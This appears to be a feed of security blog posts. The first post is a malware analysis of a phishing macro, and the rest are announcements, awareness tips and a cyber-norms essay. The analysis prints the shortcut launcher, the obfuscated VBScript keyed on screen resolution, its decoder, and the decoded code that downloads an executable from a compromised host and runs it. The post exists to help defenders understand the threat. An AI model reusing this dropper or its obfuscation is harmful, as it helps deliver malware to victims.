Using Monitor Resolution as Obfuscation Technique

A quick blog post about a malicious VBScript macro that I analysed… Bad guys have always plenty of ideas to obfuscate their code. The macro was delivered via a classic phishing email with an attached zip archive that contained a Windows .lnk file. The link containing a simple call to cmd.exe with by very long “echo” line to write a VBScript file on the local disk and to execute it:

cmd.exe /c echo DATA >file.txt&&wscript //E:VBScript file.txt!%SystemRoot%\system32\SHELL32.DLL

The “DATA” dumped to file.txt have been beautified to be easily readable:

Set ak=GetObject("winmgmts:\\.\root\cimv2")
Set Kj0=ak.ExecQuery("Select * from Win32_DesktopMonitor",,48)
For Each Kj1 in Kj0
    Kj2=Kj1.ScreenWidth
    Kj3=Kj1.ScreenHeight
    Next
Kj5="hojiupO>mmfiTkcp!ufT;*##fyf/v##)dfyF/mmfiTkcp>dfyFkcp!ufT;*##mmfiT/uqjsdTX##)udfkcPfubfsD>mmfiTkcp!ufT;hojiupO>Jd!uft;hojiupO>gG!uft;hojiupO>7z!uft;uyfo;***2-MN-zepcftopqtfs/gG)cejn)cdtb)sid!fujsx/Jd;*zepcftopqtfs/gG)cofm!pu!2>MN!spg;eoft/gG;ftmbg-##fyf/g0tfmuju0ht/npd/zufjdptihji00;quui##-##UFH##!ofqp/gG;*##fyf/v##)fmjguyfufubfsd/7z>Jd!uft;*##2/6/utfvrfsquuiojx/quuiojx##)udfkcpfubfsd>gG!uft;*##udfkcpnfutztfmjg/hojuqjsdt##)udfkcpfubfsd>7z!uft"
execute(Replace(Kj4(Kj5,CStr(int(CInt((Kj2))/CInt((Kj3))))),chr(34)+chr(34),chr(34)))
Function Kj4(SP,IV)
    Dim s2,Op,Vz,d4,BQ:BQ=""
    s2=Len(IV)
    Op=1
    Vz=Len(SP)
    SP=StrReverse(SP)
    For d4=Vz To 1 Step -1
        BQ=BQ+chr(asc(Mid(SP,d4,1))-Asc(Mid(IV,Op,1))+48)
        Op=Op+1
        If Op Then Op=1 End If
        Next
    BQ=StrReverse(BQ)
    Kj4=BQ
End Function

As you can see, the variable Kj5 seems to be the most interesting and contains the obfuscated code. The script starts by connecting to WMI objects on the local computer (represented by the “.”):

Set ak=GetObject("winmgmts:\\.\root\cimv2")

Then it grabs the screen resolution from the Win32_DesktopMonitor object:

Set Kj0=ak.ExecQuery("Select * from Win32_DesktopMonitor",,48)
For Each Kj1 in Kj0
    Kj2=Kj1.ScreenWidth
    Kj3=Kj1.ScreenHeight
    Next

This technique could be used as a sandbox detection (many sandboxes have a low resolution by default) but it’s not the case this time. The width and height are converted to integers and the first divided by the second which returns always “1”. You should have an uncommon resolution where height > width or an ultra-wide monitor to get other results. This value “1” is passed to the function Kj4() which deobfuscates the long string. The function reverses the string and processes characters one by one starting by the end (character value – 49 + 48 – which shifts all characters by one: ‘h’ becomes ‘g’, ‘o’ becomes ‘n’, etc. Finally, the string is reversed again and is ready to be executed:

set y6=createobject("scripting.filesystemobject")
set Ff=createobject("winhttp.winhttprequest.5.1")
set cI=y6.createtextfile("u.exe")
Ff.open "GET","hxxp://highsociety.com.sg/titles/f.exe",false
Ff.send
for ML=1 to lenb(Ff.responsebody)
    cI.write chr(ascb(midb(Ff.responsebody,ML,1)))
    next
set y6=Nothing
set Ff=Nothing
set cI=Nothing
Set objShell=CreateObject("WScript.Shell")
Set objExec=objShell.Exec("u.exe")
Set objShell=Nothing

A classic HTTP connection is performed to drop the payload from a compromised server. Note that the macro did not work in my Windows 10 sandbox (empty values are returned instead of the screen width/height) but it worked with Windows 7.

 

[The post Using Monitor Resolution as Obfuscation Technique has been first published on /dev/random]

from Xavier

Microsoft Security Intelligence Report Volume 21 is now available

The latest volume of the Microsoft Security Intelligence Report is now available for free download at www.microsoft.com/sir.

This new volume of the report includes threat data from the first half of 2016 as well as longer term trend data on industry vulnerabilities, exploits, malware, and malicious websites. The report also provides specific threat data for over 100 countries/regions.

Our Featured Intelligence content for this volume of the report includes three deep dive sections:

Protecting cloud infrastructure; detecting and mitigating threats using Azure Security Center:
As organizations move workloads to cloud-based services it is important that security teams keep abreast of changes in their threat posture. New threats can be encountered when adopting solutions that are fully cloud based, or when connecting on-premises environments to cloud services. This section of the report details common threats that organizations may encounter, and explains how security teams can use Azure Security Center to protect, detect, and respond to security threats against Azure cloud-based resources.

PROMETHIUM and NEODYMIUM: parallel zero-day attacks targeting individuals in Europe:
Microsoft proactively monitors the threat landscape for emerging threats, including observing the activities of targeted activity groups. The new report chronicles two activity groups, code-named PROMETHIUM and NEODYMIUM, both of which target individuals in a specific area of Europe. Both attack groups launched attack campaigns in May 2016 using the same zero-day exploit to seek information about specific individuals. Microsoft is sharing information about these groups to raise awareness of their activities, and to help individuals and organizations implement existing mitigation options that significantly reduce risk from these attack groups and other similar groups.

Ten years of exploits: a long-term study of exploitation of vulnerabilities in Microsoft software:
Microsoft researchers conducted a study of security vulnerabilities and the exploitation of the most severe vulnerabilities in Microsoft software over a 10-year period ending in 2015. In the past five years vulnerability disclosures have increased across the entire industry. However, the number of remote code execution (RCE) and elevation of privilege (EOP) vulnerabilities in Microsoft software has declined significantly. The results of the study suggest that while the risk posed by vulnerabilities appeared to increase in recent years, the actualized risk of exploited vulnerabilities in Microsoft software has steadily declined.

There is a lot of other new data in this report that I hope you’ll find useful.

You can download Volume 21 of the Microsoft Security Intelligence Report at www.microsoft.com/sir.

Ken Malcolmson
Executive Security Advisor, Microsoft Enterprise Cybersecurity Group

from Microsoft Secure Blog Staff

[SANS ISC Diary] UAC Bypass in JScript Dropper

I published the following diary on isc.sans.org: “UAC Bypass in JScript Dropper“.

Yesterday, one of our readers sent us a malicious piece of JScript: doc2016044457899656.pdf.js.js. It’s always interesting to have a look at samples coming from alternate sources because they may slightly differ from what we usually receive on a daily basis. Only yesterday, my spam trap collected 488 ransomware samples from the different campaigns but always based on the same techniques… [Read more]

[The post [SANS ISC Diary] UAC Bypass in JScript Dropper has been first published on /dev/random]

from Xavier

"Mobile Device Security"

  Editor's Note: This post on mobile device security was originally posted to the SANS Penetration Testing blog by our colleagues Lee Neely & Joshua Wright. It's a good reminder of some key mobile security practices and helpful to raise awareness about simple behaviors that can make a difference. We often get asked for things … Continue reading Mobile Device Security

from Securing the Human

Cybersecurity norms challenge remains

Despite the differences that exist between governments, there is a growing recognition around the world that attacks on the security and stability of the Internet threaten all nations’ interests. The reality driving this alignment is that both emerging and developed economies are internet-dependent and, equally significantly, that malicious actors can use ubiquitous technologies to attack critical systems and infrastructure.

While cybercrime by non-state actors must be dealt with, it is also increasingly clear that governments need to carefully consider the impacts of their own military and intelligence actions in cyberspace, as well as those of their peers. Without some norms of state behavior in cyberspace the world could experience weakening of international security, national security, and even public safety. The potential erosion of trust citizens, consumers, and businesses have in globally interconnected information technology systems could significantly undermine our global economy.

Against this background, the United Nations Group of Governmental Experts (UN GGE) began its next round of discussions on cybersecurity norms and confidence building measures in New York at the end of August. This new session, due to report back to the UN General Assembly in September 2017, will have to tackle a wide range of thorny issues, one of which will be the question of applicability of international law to cyberspace. How can concepts such as “use of force” be applied? How should cyberweapons be classified – as conventional weapons, weapons of mass destruction, or something else? And, as if these questions weren’t complex enough, the UN GGE is going to have to consider valid ways to handle non-state actors or quasi-non-state actors when they threaten a nation’s critical systems.

The re-convening of the UN GGE also represents an opportunity to take stock of the norms debate so far, as well as to explore the different roles government and private sector could play in enhancing global online security. Microsoft has for some time argued that a decision-making framework is needed to help governments balance their roles as users, protectors, and exploiters of the internet. This is not an easy task for governments as they can be confronted with seemingly conflicting priorities, e.g. securing immediate economic advantages or ensuring longer-term growth of a digital economy.

Two years ago, Microsoft set out our own proposals around a cyber-norms framework. Our view, then and now, is that government decisions should be interrogated through the lens of the various actors in cyberspace. Each actors’ objectives, the actions they could take in pursuit of those objectives, and the potential impacts of a particular decision all need to be considered. Framed this way, the norms conversation can become more precise, focusing on discussing acceptable and unacceptable objectives, which actions may be taken in pursuit of those objectives, what the possible impacts of those actions are, and whether they are acceptable for a civilized, connected society.

Microsoft will, of course, make what contributions we can to the UN GGE and the other processes taking place to build a secure and lasting global approach to cyberspace. Our collective progress towards that goal can, I think, be judged against four key criteria. First, the approach must be practicable, rather than technically very challenging to achieve. Second, risks from complex cyber events and disruptions that could lead to conflict should be demonstrably reduced. Third, observable behavioural change needs to occur, change that clearly enhances the security of cyberspace for states, enterprises, civil society, and individual stakeholders and users. Fourth, and finally, existing risk-management concepts should be harnessed to help mitigate against escalation or to manage the potential actions of involved parties if escalation is unavoidable. Only when these criteria, or ones much like them, are met can the world feel confident in the future of the Internet, and in the economies and societies that are now dependent upon it.

from Paul Nicholas

"OUCH is Out - Securely Disposing of Your Mobile Devices"

The Decemberedition of the OUCH! security awareness newsletter is out. For this month we focus onSecurely Disposing of Your Mobile Devices. We chose this topic as the holidays is when many people get a new mobile device, leaving them with the challenge of what to do with their old one. It does not matter if … Continue reading OUCH is Out - Securely Disposing of Your Mobile Devices

from lspitzner

"Nudging Towards Security"

Editor's Note:This is a part of a series of blog posts by Sahil Bansal from Genpact on the topic "Nudging Towards Security". My first post emphasized why security should be really easy if we want people to do it. It also highlighted the importance of security being proactive since a lot of security incidents involve … Continue reading Nudging Towards Security

from lspitzner